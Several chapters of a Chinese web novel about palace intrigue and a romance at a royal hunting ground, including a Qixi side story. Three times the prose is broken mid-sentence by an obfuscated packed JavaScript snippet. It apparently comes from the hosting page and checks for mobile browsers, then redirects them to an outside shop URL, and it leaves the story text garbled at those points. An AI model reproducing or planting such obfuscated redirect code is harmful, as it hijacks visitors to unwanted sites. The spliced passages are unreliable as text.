文湛轻描淡写一句,“哥哥说过此人多智近妖,学官话,不过垂手而得一事。” 赵毓就看着他,而文湛将茶盏放会旁边的几案上,单手又端来一个元熙官窑的粉青莲瓣碗,碗中是温热莲子糖粥,“猎场宫殿后有莲池,虽然不是红莲,却也是千年白莲。这些莲花的枝蔓都是从岐山神宫移过来的,我看到的时候就想,莲子用冰糖炖了,你应该喜欢。” 他说着,拿了瓷勺,舀一口莲子糖粥喂赵毓。 而赵毓吃了一口,顿时觉得满口生香,却忽然脑子一抽,“陛下,您看到这一池莲花,就没有想过要听一下花开花落的声音,婉约吟诗作赋,或者参禅问道?” “婉约?”文湛微微一挑眉,“哥哥倒是有个婉约的旧相识,可哥哥似乎也不太想见他。” 赵毓,“呃……” 又被文湛堵了一口糖粥。 奉宁曾经见过阙河图。那是六年前,当时西北还没有撤军,他跟随赵毓回雍京运一些粮草回西北,在一个薄烟漫浮桥的庭院中,喝过一盏茶。当时薛宣平也来了,只是没有进院子,而是在南城外街采买一些雍京稀罕物带回西北。 奉宁对他的印象就是年轻,极端的年轻,没穿官服就显得更加年轻。他比自己似乎没大几岁,却得到赵毓平辈之礼,他称他为‘洛公’,虽然很符合官面上的一贯规矩,可那是一种细微的疏远。 因赵毓听得懂吴语,阙河图就没有说雍京官话,可就连在西北一起出生入死的弟兄都不知道彼时奉宁的真正身份,阙河图一见面,就是一句,“郡王安好。” 喝完茶出来,赵毓说不清楚是个什么心思,不知道是开心还是不开心,等他们找到薛宣平,老薛给他相面,完了说一句,“得!肯定是让翰林院的酸文假醋给酸倒牙了,一脸不得劲儿。” 薛宣平根本分不清楚文官混不混翰林院的区别在哪儿,他以为读书人都是穷酸秀才,一朝登天子堂都在翰林院供职,每餐有大米饭和萝卜咸菜就是好日子,所以那时的他和阙河图就是两条不会交叉的河流。 奉宁不同,虽然当年他只是赵毓身边的一个无品级随从,可他是郡王。他知道文官混不混翰林院的区别在哪儿,他也知道读书人不全是穷酸秀才还有江南门阀,如今在猎场的子夜时分,奉宁再一次看见阙河图,首先入眼的是他的仪驾,——车驾及核心随从,并无闲散人员和器物。 赵毓换了装束,不是猎装,而是一身暗红色的云锦长袍,半束发,而束发用的是雕刻红莲的玉扣。应该曾经被打碎过,所以用黄金重新浇筑,温润中透着暗隐的锋利。 阙河图从车中下来,其实是紧走了两步的,毕竟有君臣之别。而赵毓同他也是多年未见,这人,二十二岁同二十八岁,还是有很大区别的,当然,官位也有很大区别。 “洛公。”自从在他十四岁那一面之后,赵毓再见阙河图,对他的称呼都是这个,“多年未见,您可好呀?” 虽然称呼上是官面文章,可是赵毓却没有‘别来无恙’,而是换上更亲近的一种说法。 阙河图则笑言,“我老好额,多谢大殿下记挂,大殿下、郡王安好?” 这声音,当真好像三斤冰糖炖的桂花糖粥,比方才文湛亲自喂他的那盏莲子还要腻。赵毓听着,也是笑着说话,“都挺好的。” 奉宁只当听不太懂,直接点点头,算回应了。 江南籍的大员,在官场的口音是雍京官话,但是带南音。一个原因是乡音不好改,另外一个原因,南音也是表明身份。要说结党营私接着党同伐异,倒也不至于如此严重,但是归属认同,在官场则是很重要的一定之规,只不过秘而不宣而已。 这是数百年约定俗成的老传统,但是阙河图不同,他的雍京官话一点南音都没有,文湛第一次听,就极不舒服。 口音表示归属,只是,阙氏就算把官话讲的再琉璃剔透,他永远不可能成为大正宫的‘自己人’,可他偏偏就在皇帝面前披着一层虚幻的‘自己人’的皮,带着极微妙的挑衅意味。 而在赵毓面前,则永远是吴语。 阙督此人,明明骑鹤扬州,却硬生生有一股子清冷气息,不像茂林修竹,反像极冰封雪飘中的松,重权文官的雅正与威权俱在。 吴侬软语又让他这股子清冷,硬生生消融了许多。 摇光做完晚课,饿了。 本来他应该过午不食,作为‘当一天和尚撞一天钟’的持戒,可是他摸了摸肚子,觉得自己今天好歹念完了一章《白衣观音经》,也算持戒了,夜里就不用苦熬了。 他顺路到厨房,看见一些熟面孔,这里不算热火朝天,可也在准备饭食。 一张四角木桌,黄枞菖和柳从容对坐,正在吃。 宵夜是手擀面,浇头倒是很丰饶,有素有荤:竹笋、香菇、口蘑、黄花菜做的素浇头;荤浇头更有料,甜米酒焖的大肉,爆炒鳝鱼,还有炸的豆腐和水里捞出来的虾蟹。 这俩见到是摇光就要起身,而摇光一摆手,说,“都饿了都饿了,不要讲这些虚礼。”随后也坐这里,让人给准备了一碗白汤面,叠了两块肥厚的大肉,炖了米酒,所以还有甜腻的酒香!吃着汤面,丰腴鲜香,摇光有些疑问,“你们今天,怎么这么讲究,想起来吃苏州面了?” 柳从容一向不多话,只是低头吃面。 黄枞菖琢磨着,这话还得他说,“我们祖宗有个姑苏籍的旧相识过来,刚入猎场,陛下一时半刻也没空召见,再说,这位大人也不能走,还得留下观礼。这……,为了人情,得给人家和随从准备点可口的吃食。” 摇光还是有些纳闷,“能观礼上林王狩的大人,可得是一等一的重臣,再加上此人又是我兄长的老相好,陛下不赶紧召见一下,表示吐哺握发,天下归心?” 柳从容把面嗦得更大声了。 黄枞菖看着他那颗光头,“二殿下这话说的,这是旧相识,哪里来的老相好?” “只是旧相识?”摇光一乐,“我大哥这个人,看着柔和其实凉薄,他可不像对着旧相识又是迎接又是准备宵夜的细心老好人。” “背后说我什么呢?”外面走进来赵毓,还有奉宁。 “老二。”赵毓摆了摆手,不让他们起身,安生坐着吃面,自己也坐在这三缺一的桌子旁,“自从你剔了光头,说话愈发诡异了。” 奉宁倒是很有礼,问了摇光好。 而其他人则也见了礼。 摇光吃了口肉,才问,“谁呀?” 赵毓,“河督,你没见过。” “哎呦喂!”摇光倒是当真稀奇,“阙河图!你认识他?” 赵毓,“十几年前一面之缘,七八年前又见过一面。谢翾飞做药丸缺东海鲛珠,正好人家手里有,想要跟人家银货两讫,人家又不拿咱的银子,这天大的人情债,就得用心了,唉……” 摇光打量了打量他,转头却问奉宁,“那位阙公,长啥样?” 奉宁一愣,“当年殿试的探花,相貌挺端正的。” 摇光就是一乐,“举觞白眼望青天,皎如玉树临风前?” 奉宁微微摇头,“不是。” 摇光又咬掉一块肉。 奉宁才说,“他不像会醉酒的样子,而且人也没有这么疏狂,就是比较……婉约。” 闻言,摇光爆笑!“哈哈哈哈哈哈!” 赵毓站起来,拍拍他的肩膀,“别笑了,好好吃肉。”随后,也不带人,让他们都好好歇息,自己就慢慢挪到谢翾飞处。 因为有谢翾飞接引,阙河图的亲兵早将东海鲛珠送进猎场。一个檀木匣子,堆着湖丝苏绣,整整齐齐码着六颗大珠。赵毓也是第一次看见这种奇珍异宝,伸手拿出来一颗,在琉璃灯下火光烛天,竟然透着万千气象。 “十万两银子一颗的珍宝。”他叹口气,放入昆仑岩玉凿成的臼当中,“不过,咱不是只需三颗吗?这六颗是怎么回事儿?” 谢翾飞,“阙大人说了,凡事预则立不预则废,通计熟筹总比捉襟见肘好,所以珠子也要多备一些。万一出了一些纰漏,也能有个补救,以备不时之需。” 赵毓嗯了一声,“多备一些,就多出了三十万两银子。” 谢翾飞则说,“不管怎么说,大殿下,此时您的命最贵,不要说三十万两,就算三百万两也得备着。不过,这六颗鲛珠,也许将东海近十年出海的气运,都耗尽了。” 赵毓脑中忽然过了一句:奈何取之尽锱铢,用之如泥沙。 不过他没说话,一挥手,旁边有一强壮雪鹰旗的兵士手执玉杵,在石臼中用力一砸! 一颗东海鲛珠顷刻之间。 化为齑粉。 赵毓的左臂在端午那日被殷忘川伤过,这条手臂虽然不用拉开弓弦,却需稳住硬弓,因而从左臂到身躯上扣着牛皮绞丝绳。 他弯弓搭箭,一支利箭离弦! 正中靶心! “还成。”摇光秃着脑袋,点了点,“宝刀未老。” 赵毓斜着眼睛瞥了他一下,垂下手臂,那里已经开始酸疼了。 距离真正进入猎场开始最后的王林王狩还有两天,摇光陪他训练弓马。 老二此人,除了事多话多之外,勉强也算个正经人。 并且弓马娴熟。 只是赵毓本身似乎根本无法支撑。 摇光并没有继续劝他,也没有再摇头风凉一句,“何必呢?” 他只是说,“陛下已经命人秘密准备缂丝陀罗经被,两份。你说,就咱,呃,也包括你,咱们这满身罪业,裹上这种往生被,能到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729052|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼岸吗?” 赵毓甩了甩胳膊,并没有说法。 摇光继续说,“这些年我没事儿的时候,也胡乱想想。就这个陀罗经被,先帝下葬裹这个,那些叔伯们只要没造反,还算有个正经下场的,下葬也裹这个,那些祖宗们下葬都裹这个,管用吗?咱姬姓老祖夺得华夏王权天命所归,可以攫取世间最繁美的缂丝,用最好的织工和绣娘,搞出人间极品,究竟能渡过彼岸,还是留给盗墓贼的一场荣华富贵?” 赵毓看了看他,自己掂量着弓箭,“老二,我就说,你自剃了光头,说话越发诡异了。你以后还是把头发留起来吧,别剃了。” 摇光,“要我把头发留长,山上的寺庙就待不住了。” 赵毓,“待不住就回来。” 摇光盯着他。 赵毓,“一尊神像有面子也有里子。面子上你是回不去了,宁王涉谋逆大罪,先帝钦定,翻不了案,不过里子还是能做的。虽然委屈点,总比在寺庙里吃不到鸡腿大肉强。刚才我看你吃肉,你那个嘴都快被肥油堵住了,看着倒是很满足。” “大哥……”摇光忽然说,“我好像从来没正经叫过你大哥。” 赵毓,“可不是嘛?” 摇光,“可你刚才说话那样子,你知道像什么吗?” 赵毓,“什么?” 摇光,“人之将死其言也善,虎之将亡其鸣也哀。” 赵毓,“……” 摇光,“你的伤,……,很麻烦吗?即使有那种贵得要人命的什么东海鲛珠,也续不了命吗?” 赵毓低垂着眼睛。摇光以为他不会再开口,他却说,“根基毁了,好好保养,也就三五年的光景,所以,我没时间了……” 摇光实在待不住了,心头忽压下一块巨石,憋住,怎么也喘不过气。猎宫这么大,他得到别处转转,把这口气透出来,“我再给你挑把轻一些的弓,这个太重,你拉着费力。” 赵毓看着摇光的背影,几乎都是落荒而逃的样子。 忽然笑了。 这人啊! 当年老爹死的时候,他就明白了,无论功业怎样彪炳史册,大限到了,都得舍。 舍得,舍不得。 都得舍。 于是他晃动手臂,等着恢复点力气了,弯弓搭箭,又射出一支,还是正中靶心。 ——于无声处听惊雷。 阙河图自从向猎场进发,脑中就闪过这句话。 运河在他手中,百万槽工衣食所系,却积弊已久。 如今北境兴兵,那么这条运河,就要能用。 可用,最好;不可用,也得用! 运来的粮草实打实要能入口。 这些话,陛下是不会明说的。 但是,他懂。 阙河图必须懂! 如今入了猎宫,他实在睡不着,换上一身便装,沿着后山推开茂林,施施而行。 垂柳繁花之间,有个人,将弓箭放在一旁,依偎在一株遮天蔽日的榕树下,抬头看着漆黑的夜空。 是赵毓。 此时的他,没有任何遮挡。 阙河图同他见面不多,但深知此人一贯将自己遮挡严实,未语先笑,说话也是笑语盈盈,却透着假。他知道赵毓说话透着假,赵毓也知道他知道自己说话透着假,但他就是这样说话,因为他阙河图是‘外人’,并且似乎永远无法成为‘自己人’,无论他们曾经是否被千万两白银捆绑在一起。 不过他还是看到过他没有任何遮挡的时候。 那是十四年前。 那是一场美人争劝梨花盏的酒宴,繁华热闹又虚假,无聊透了。 他第一次看到赵毓。他祖父一代大儒,不语怪力乱神敬而远之,可他似乎看到了子曰诗云之外的夜空。 赵毓很瘦,瘦到好像人皮灯笼贴着削竹子骨架。 他像是喝多了,拿着一块松江白布沾了冷水贴着额头,就坐在一堆繁花当中。 雍京夏天的园林种了紫薇、木槿、蜀葵。 还有文人世族必不可少意味着蟾宫折桂的丹桂。 那时候的赵毓,也是没有遮挡的。 撕掉那一层金尊玉贵虚假又虚弱的外皮,像个孤注一掷的赌徒。 当年阙河图将所有的白银都运到西北,所有人都说他疯了。世族千年传统,无论何种境遇,即使快到山穷水尽,绝不能不留后手,倾囊而出。 可是,那个时候,几乎山穷水尽了。 新帝登基,改元元熙。先是黄河改道,纵观历史,这是亡国级别的天灾;接着运河断了,可江南早已经遍地桑麻,很少人种粮了,缺粮达三成,粮价翻了数十倍,虽然不至于‘千里绝烟,白骨成聚’,也是百姓入山谷、江湖,采草萍,木叶、菱芡而食。 而眼前这些人,依旧沉溺于一场美人争劝梨花盏的酒宴,繁华热闹又虚假,无聊透了。 只有赵毓不一样,他是个赌徒,一个敢赌命的赌徒。 他曾经对他说过,“牵扯家族兴衰的大事,阙氏可以下重注,却从不赌命。” 因为这份重注,已经是他的极限了。 可是他想看看,真正把命都压上赌桌,究竟是个什么结果。 他脚下踩了花叶,稍微用力,出了声响。 赵毓听见,回了头,看见他。 阙河图,笑着说,“大殿下。” 依旧是那口吴侬软语,丝丝缠绕,绸缪束薪。 绸缪束薪,三星在天。 今夕何夕,见此良人? 195. 195 195 赵毓跟着摇光练习骑射。 折腾了多半天,他手臂酸麻,日头高悬,即使猎场林木荫荫不远处烟水淼淼,也有些燥热了,于是连忙滚鞍下马,到密林边缘,靠着狰狞的大树根盘坐。一直跟着他的黄枞菖赶忙递上银瓶,装着今晨熬煮的金银花露,清澈,甘甜,解暑。 摇光也下马,踱步过来,低头看看他,叹口气。 忽然,不远处传来欢快的声音,“赵叔,赵叔,……叔,叔!” 赵毓仰头喝水,却有些疑惑,“这个声音怎么如此耳熟?” 黄枞菖回头一看,“嗨,这不那个谁家的那个谁嘛。” 赵毓一看,原来是温岭,骑马奔跑过来。不过此时温岭的装扮同在朱仙镇清淤的小吏截然不同。——黑色缂丝猎装,银线绣的蟒在正午日光下熠熠生辉! “叔!”温岭下马,在众人面前转了个圈,“看看我舅这套猎装怎么样?” “挺好。”赵毓说,“你那套衣袍洗了没干呀,所以从你舅那淘换了一件?” “不!”温岭摇摆手指,“叔,我发达了。” 赵毓,“呃……” 温岭,“您不是没通过出禁地那个悬高梁的测试吗?” 赵毓,“你怎么知道?” 温岭,“嗨,大家都知道了,连同您小时候读书偷懒,每天睡到日上三竿不好好练武功,早已经传遍猎场。” 赵毓,“……” “不过这些都不重要。”温岭一摆手,说,“我娘听说您出猎场是这么个情形,当时就特着急,她回了趟岐山神宫,翻遍了古卷,终于找到了一条一千七百年前老祖宗留下的祖训。虽然很多人不知道这条祖训,确切的说是没人知道,连神宫大祭司都没听说过,可这条祖训就雕刻在竹简里面,供奉在岐山白塔之上,而且这么多年也没变过,能用。” 赵毓,“说重点。” 温岭,“上林王狩中,如果您出禁地的时候把那个鼎给拉出来了,就算您没通过悬高梁的测试,依然可以在王族子弟中挑选卫兵。虽然人数仅限一个,但是这个人伤了废了死了,还可以替补,您可以继续挑啊!” 赵毓,“……” 温岭,“我娘御前陈奏的时候,情况有点微妙,众人还没有反应过来,我舅以掩耳不及盗铃之势就把我往前一推,说我小命挺贱的,可以先试试。” 赵毓,“……” 温岭,“陛下直接在御前册封我为靖渊公世子!” 他大笑,又说,“我娘说我舅,从小就眼明手快,四岁吃炒黄豆的时候都能排兵布阵,天生的名将苗子。这些年看他庸碌无为,我还以为是我娘吹牛,这次看来我娘说的话是真的。赵叔,我先给您当马先卒,我娘继续淘换人,再把我换下阵。” 赵毓,“你知道这很凶险吗?” “知道!”温岭说,“自古富贵险中求。” 赵毓,“这也太险了……” “凶险倒是真凶险,可是当真富贵!赵叔,过来找您之前,我跟柳密柳大人也打了招呼,还拜托他去我们顺天府老爷那里递个辞呈,他满口答应,还冲着我行拱手礼了呢!” 说着,温岭又转了个圈,“我这个国公世子的行头挺气派吧!确实比我之前的顺天府小吏服色要更唬人。我琢磨,我要是穿着这套衣服去清理运河淤泥,那帮河工的铲子铲泥就不能停,还不得轮到天上去!河道不用清三天,一天一夜,肯定能通!” 话音落,周围鸦雀无声。 温岭看着黄枞菖,“黄秉笔,您看我做什么?” 黄枞菖,“温小公爷当上世子也不忘铲淤泥,让我想到了民间一出戏,挺好看的。” 温岭特别有兴趣,“什么戏?” 黄枞菖,“陛下用黄金做的锄头耕地,东宫娘娘烙大饼,西宫娘娘卷大葱。” 温岭,“呃……” 从这之后,温岭跟着赵毓摇光一起练弓马骑射。 摇光看着他在河滩上骑马弯弓很是娴熟的样子,一直摇头,对着赵毓说,“连新出炉的温小公爷这个二百五,在武学上都比你长进。你呀,啧啧。” 说着,拿起来盘子中最后一块红豆饼,吃。 赵毓,“给陛下留的!” 晚了。 摇光咬了一半,却硬生生停住了。随后他看了看赵毓,又看了看手中的半截饼,将带着残渣的半截饼又放回盘子中,那残破的红豆饼,内馅都流淌出来,沾了一些口水,表皮又碎了一些渣渣。 赵毓,“……” 摇光,“话赶话,陛下在做什么呢?” 赵毓,“召见重臣。” 摇光,“那个新来的姑苏小子,就在竹棚里面婉约着喝茶,看来不在陛下的‘召见重臣’之列,那么,如今能凑在御前的,估计就是禁地杀出来的那俩。其中一个身份还不明,其实也没什么明不明的,谁都知道那是谁,另外一个,就是徽郡王家的世子旻铉了。” 可能知道自己说话不着调,他还看了看不远处的黄枞菖,这才对赵毓说,“听说,这个旻铉是你家老黄的发小。原本他是你的伴读,也就是你的发小,可是你读书的时候偷奸耍滑,反而是老黄靠谱,一直顶着,久而久之你的伴读就和你的大伴成为发小了。老黄大事不糊涂,我就不知道你对旻铉怎么想了。” “我对他没想法。”赵毓则说,“再说,旻铉怎么想的,一直都不重要,关键还是看陛下是怎么想的。” 摇光忽然咯咯乐,“好家伙,乱臣贼子的勾当你都敢做了,都敢揣摩圣意了。” 赵毓一摆手,“你把沾了你口水那半块红豆饼还是吃了吧,顺便堵上你的嘴。我说老二啊,想回雍京,得好好修炼。在空镜山上天老大你老二,随便说,但是回到雍京,人能活下来第一要务是,——慎密。” 摇光不屑,“先别说我了,你做到了吗?呜呜……” 赵毓拿着那半块酥饼直接塞他嘴里,“共勉。” 夜幕垂落,猎场也安静了下来,可是因为太安静了,到显得诡秘起来。 文湛提着琉璃灯,走了两步,回头看赵毓。 而赵毓则抬头看星河。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729053|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“明天会有雨吗?”文湛问他。 “会。”赵毓点了点头。 他手中拎着一个黑檀木的食盒,里面装着红豆饼和蜜枣酥,还有几个玉瓶子,满着茶水。 “黄瓜将这些红豆饼放入冰窖中,想吃了,就拿出来,在火炉子上一烤,就酥脆了,正好入口。白天烤了一盘,都被吃掉了。” “嗯。”文湛也点了点头,向前走了两步,“洞庭碧螺春,卷曲如螺,香气清幽,配红豆饼不错。” 琉璃灯流淌着七宝华彩,照着文湛的衣袍,璀璨又虚幻。 赵毓,“他是客人,入乡随俗,既然到了猎场,喝的就是岐山云雾。” 文湛,“哥哥倒是知道我说的是谁。” 赵毓,“总共雀鸟三两只。” 文湛,“六十万两银子就能成为哥哥的座上宾,这笔买卖真划算。” 赵毓却说,“既然捆人家上船,人家也得看看咱成色,是金玉其表败絮其中,还是妍皮不裹痴骨,总得让人家掂量掂量。” 又走了几步,前面花叶舒展,一方净土豁然开朗。 赵毓,“明天就是逐鹿最后一关。这道门一打开,不定放出什么妖兽,咆哮于林莽,蹂躏稼穑,噬食生灵,涂炭人间,咱俩就没什么闲情逸致喝茶吃点心了。今晚尽兴,别提不相干的人。” 文湛看了看他,从善如流,“好。” 净土就在悬崖边缘,有一张石桌,两把石头椅子,下面则是无尽江河。 “也不知道是哪位祖宗这么有闲情逸致,居然在这里放了桌椅,这几百年风吹雨打的,都模糊了。” 赵毓说着,用袖子在石头桌上呼啦呼啦,随后把食盒放在桌面上。 文湛也将琉璃灯放下,坐在一旁。他看着赵毓将茶点铺开,自己伸手拿过来一个玉瓶,打开塞子,喝了一口。有些苦涩,绝对不是姑苏茗品碧螺春,也不是供奉宫廷的顶级岐山云雾。 赵毓,“猎场最南端山谷有一片凹地,比这里湿热,生有茶树。我之前在那里布防的时候看到的,就让黄瓜他们采摘了一些叶子,回来用小铁锅自己烘了烘,你觉得味道怎么样?” “甜的。”文湛说着,又喝了一口。 赵毓自己也开了一个玉瓶,尝了一口,“呃……” 比他想的还要苦涩。 于是赶紧吃了一口红豆饼。 “应该让谢大夫给陛下请平安脉。”赵毓说,“怎么苦甜不分呢,不会那里不舒服吧。” “哥哥只给我烘的茶……”文湛将那瓶一饮而尽,“自然是甜的。” 赵毓听着,低头一笑,却没有看文湛,而是远眺。 悬崖之下。 夜风猎猎,大河东去,逝者如斯。 “承怡。” “嗯?” 文湛忽然说,“王族有内婚制。” 赵毓闻听,扭头看着他,而文湛却不看他了,“岐山神宫上有记载,很多年,一千八百多年了,比大郑开国还要久远。” “所以哥哥……” “我们成亲吧。” 196. 七夕·番外 七夕·橙橙湛湛鹊桥 那是遥远的天河。 地上有它的倒影,横跨御花园的第三棵老槐树,和对面第四丛栀子花之间。 这是一条由碎玉铺成的小河沟。 晚上的月光一照,碎金荡漾。 一座木桥。 橙橙身着红蟒先登场,一边走木桥一边唱:花浓雨歇,火冷灯稀,独上高楼看青草。西疆万里悔封侯,尽洗却、人间暮鸦,凭栏怅望那重山。 “呃。”橙橙唱完,挠了挠脸颊,“今天这是谁写的词儿?怎么这么酸呢?” “这词哪有不酸的?”湛湛倒是很淡然,他整了整自己身上的行头,方说,“今天是七夕,哥哥与我演个鹊桥相会,甜蜜最好,其它都是小事。” “话是这么说……”橙橙又摸了摸自己酸涩的下巴,“一会有好吃的饺子和各种时令鲜果,尤其是蜜瓜和葡萄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729054|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,全是从西疆千里运送到京城贡品,牙被酸倒了,就没口福了。” “我喂哥哥吃。”湛湛随口一说,不以为然。 橙橙,“……” 陛下,过于明目张胆,过分,过分了呀。 不过此时的大正宫幽林缠绕,波光月照。 温语缱绻,肢体丝绕,情深如烟波渺。 良宵虽促韵悠长。 愿此后、朝朝同好。 197. 197 197 王族内婚,这是很多很多年前老祖宗弄的“肥水不流外人田”,就像文湛说的,很久很久了,已经逾一千八百多年了,甚至比大郑开国还要久远。 但是早已湮灭于史料中。 因为,绝了。 无以为继。 而且现在翻出来再看,与大郑宗法、礼教也是背道而驰。 可是…… 这是文湛的心。 再说,承怡和文湛之间,只有今生没有来世,更没有后世苗裔。 所以。 赵毓听他说,认真点了点头,回应到,“好,成亲吧。” 他们终究是要在一起的。 翌日,阙河图出现在猎场观礼台上,似乎有些令人意外,但其实又没有那么令人意外。只是这位昔年的探花郎,如今以大郑顶级文官的装扮出现,让外人觉得有些陌生,毕竟不是所有人都在微音殿与这位打过机锋。 只是,…… 阙河图出现在南苑,除了遵陛下旨意以‘河道重臣’身份必须坐在这里以外,尚有的真实意图,那就只有他自己也许还有赵毓知道了。因为,他目前的座位十分合乎心意,合乎心意到诡谲的地步,这可是赵毓亲自安排的,而他的心底所求一字未出过口。 这个位子可以很清晰看到储君灵均,雍王越筝,而末座则是一位猎装女公子,应该就是赵毓的女儿,赵格非。 他作为大殿下的旧相识,在猎场享受到赵毓私交好友的待遇,不但坐席,就算是茶、点心等等,都是大殿下的特殊关照,这般心意自然是熨帖的,但是过了头,就显得有些恐怖了。 赵毓洞察人心到恐怖的地步。 想到这里,阙河图端起来手边的岐山雨雾,轻轻啜一口,就听见耳后一句话,“这位,就是河督阙公吧。” 随后,一个身穿黑色缂丝猎装的华丽秃头蹭了过来,挪了一把椅子在他身边,又说,“阙公不常在雍京因而不认识我,咱俩没有公事可论,唯有私交,我是老赵的二弟。” 随后,他又加了两句,“他亲二弟。我叫摇光。” 阙河图一愣,显然他知道此人究竟是谁,但是他根本没有准备在此时接受‘摇光’这个名字。 摇光说,“要不然你就跟着老赵,叫我二哥吧。” 猛地,——“二哥。”此声响起,似乎是天外飞来的,并不出自二人之口,摇光惊诧,阙河图也是一愣。就看见奉宁过来,扯住摇光的胳膊,“二哥,兄长吩咐我照顾您,专门给您准备了一个可以烧鹿肉的好地方,您移座。” 奉宁冲着阙河图也打了声招呼,“阙公。” “郡王。”此时的阙河图也回了礼。 不是奉宁之前见他,于赵毓在场的情况下听到的吴侬软语,而是非常纯正,如同晶莹剔透的白琉璃,甚至带着些微冒犯这些雍京王公之意的官话。 随后,此秃子就在琅琊郡王清冷又不失和善却强硬的拉拽动作中,去了可以烧鹿肉的好地方。 “奉宁啊,你这样是不对的。”摇光坐下,抱怨道,“不能兄长说啥你做啥,这样显得你很没有主见呀。” 奉宁却说,“遵圣命。” “圣命?不能吧。”摇光扯了扯嘴角,“这明显是我那位大哥的意思。” 奉宁,“陛下在场。” 半晌,摇光一声“哦”,也就没有再说话。 而此时,赵格非看着身旁的二位,想着方才依规矩见了礼,但是还没有打招呼,于是说,“殿下、七叔,安好?” 越筝只是看着她点了点头没说话,而灵均因常到太贵妃处,见过她,虽然不是很熟稔却也并不生疏,就像寻常那样,问了一句,“几时到的猎场?” 赵格非说,“黎明之前。” 灵均又问,“怎么样?” 赵格非,“日出比云中早一些。” 灵均也点了点头,无话了。 而不远处的阙河图看着一幕,有一种怪异的想法,此三人不像叔侄,而像是很生疏的兄妹。 一会儿,奉宁也返回,他负长剑,在三人的面前,先问了灵均安,随后则是越筝。灵均年纪轻,而且小一辈,可他是东宫,即使面对身为宗室叔辈的奉宁也是半君之尊。越筝自然更不用说,即使他比奉宁还年轻两岁,可他是先帝亲子,今上亲弟,有参政议政权力的亲王,自然当得起琅琊郡王一声问安。 不过面对赵格非就不会如此规矩俨然。 “小叔,喝茶。”赵格非给他送了一盏茶。 “好。”奉宁很自然接过去。 等赵格非回到座位上重新坐好,越筝忽然问她,“你同琅琊郡王认识?” 赵格非很是意外,“小叔常驻西北,我就在云中郡长大,自然从小就认识,只不过,一直不知道他的真实身份。” 越筝,“那你什么时候知道的?” 赵格非,“刚刚。” 越筝,“……” 赵格非,“就是刚刚七叔说的,小叔是琅琊郡王。” 越筝,“你不觉得奇怪吗?” 赵格非,“我爹身边总是一堆王侯将相,说怪也不怪,说不怪也怪。只是七叔,这件事相比忽然之间把我从雍京弄过来,坐在殿下和您的身边,还穿着这种缂丝的猎装,也不算什么惊世骇俗的吧。” 越筝安静了一会儿,忽然说,“一个女孩子家家的,不要说什么弄过来。” 赵格非,“哦,那把我从雍京拎过来?” 越筝,“请?” 赵格非,“七叔,您同殿下这都是自己人,我就不打哑谜了。我在猎场这事儿可跟请,那是一点关系都没有。” 越筝,“……” 灵均忽然开口,“接过来。” 赵格非点头,“嗯嗯,还是殿下用词准确。” 越筝则说,“你凌晨过来还没吃饭呢吧,饿了吧?这个莲子粥不错,后山水面刚采的白莲子,深山清净,莲子也清净,用冰糖炖的,还婉约着呢。” 赵格非,“婉约?怎么用这种词来形容?” 越筝,“不知道,今天你二叔拎着食盒过来的时候说的,这个莲子粥正婉约着呢。” 赵格非看了看灵均,灵均微微摇头,表示不懂。 赵格非再看越筝,而越筝已经开始看远处的猎场了。 九韶奏响,杀戮已然开始。 有血食。摇光看着雪鹰旗的兵士送来了一只鹿,放在烧鹿架子上。它奄奄一息,却吊着最后一口气,两只眼睛似哀似怨看着他,摇光双手合十,默念起《梁皇水忏》。 不知怎么了,诵了几句,忽忆起自己昨夜饱食肉食,心下一空,再看鹿已是弥留之际,未知生死,随即安慰自己道,“虽食了肉,却未饮酒水,依然算是持戒,虽然是半拉戒,总比八戒要好很多。鹿,冤有头,债有主,你闭眼之前看到的我是你的福报,你可千万要把我忘了,过奈何桥,不要再想着我。我给你念了经,下辈子投胎转世,你要做……” 他转念一想,鹿生在南苑猎场,总比生在乡野菜市要好很多。虽然即将死无葬身之地,可生前好歹见惯了大郑王气纵横,四舍五入,也算大造化。 “要不你下辈子投胎还在南苑猎场吧,但是不要做鹿了,可以做人……” 忽然不远处的猎场中有人咆哮,有人嚎叫,还看见一堆人马围着一个血葫拉扯下猎场。那人重伤,呼伦不似个人形,不过从他身上被血浸染的衣料上看,也的确是个王公子弟。模模糊糊就听见人说,这是鄂国公家的三儿子,他娘是金陵大长公主。 摇光只觉心下一扯。 难得,他以为自己早已心死,只留个壳子常伴青灯古佛,此时,却已微微活了过来。 知道疼了。 此时的猎场,王公贵族也不过如此。 命微薄,如朝露,如累卵。 他双目低垂,“鹿啊,你还是随缘投胎吧。” 啪!——摇光猛地睁开眼,就看见有一雪鹰旗的兵士拿着长刀劈开鹿胸膛,将鹿头颅剁下来。 他下意识伸手捂 